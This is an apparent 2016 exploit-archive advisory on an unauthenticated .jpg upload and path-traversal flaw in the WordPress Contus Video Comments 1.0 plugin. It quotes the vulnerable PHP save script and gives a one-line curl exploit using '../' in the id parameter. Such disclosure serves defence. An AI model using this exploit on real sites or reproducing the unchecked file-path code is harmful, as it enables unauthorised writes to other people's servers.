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WordPress Contus Video Comments 1.0 File Upload

WordPress Contus Video Comments 1.0 File Upload
Posted Jun 22, 2016
Authored by Larry W. Cashdollar

WordPress Contus Video Comments plugin version 1.0 suffers from a remote file upload vulnerability.

tags | exploit, remote, file inclusion, file upload
MD5 | 878ac11298bc7d34f344850054ac0a6d

WordPress Contus Video Comments 1.0 File Upload

Change Mirror Download
Title: Unauthenticated remote .jpg file upload in contus-video-comments v1.0 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2016-06-15
Download Site: https://wordpress.org/plugins/contus-video-comments/
Vendor: https://profiles.wordpress.org/hdflvplayer/
Vendor Notified: 2016-06-16
Vendor Contact:
Description: Video comments integrated with the standard comment system of wordpress.
Vulnerability:

The following code allows any user to upload .jpg files to the WordPress installation. It also allows path traversal with ../.

<?php
//This project is done by vamapaull: http://blog.vamapaull.com/
//The php code is done with some help from Mihai Bojin: http://www.mihaibojin.com/

if(isset($GLOBALS["HTTP_RAW_POST_DATA"])){
$jpg = $GLOBALS["HTTP_RAW_POST_DATA"];
$filename = "images/". $_GET["id"]. ".jpg";
file_put_contents($filename, $jpg);
} else{
echo "Encoded JPEG information not received.";
}
?>

CVE-TBD
Exploit Code:
• $ curl --data @image.jpg "http://wp-site/wp-content/plugins/contus-video-comments/save.php?id=../image"

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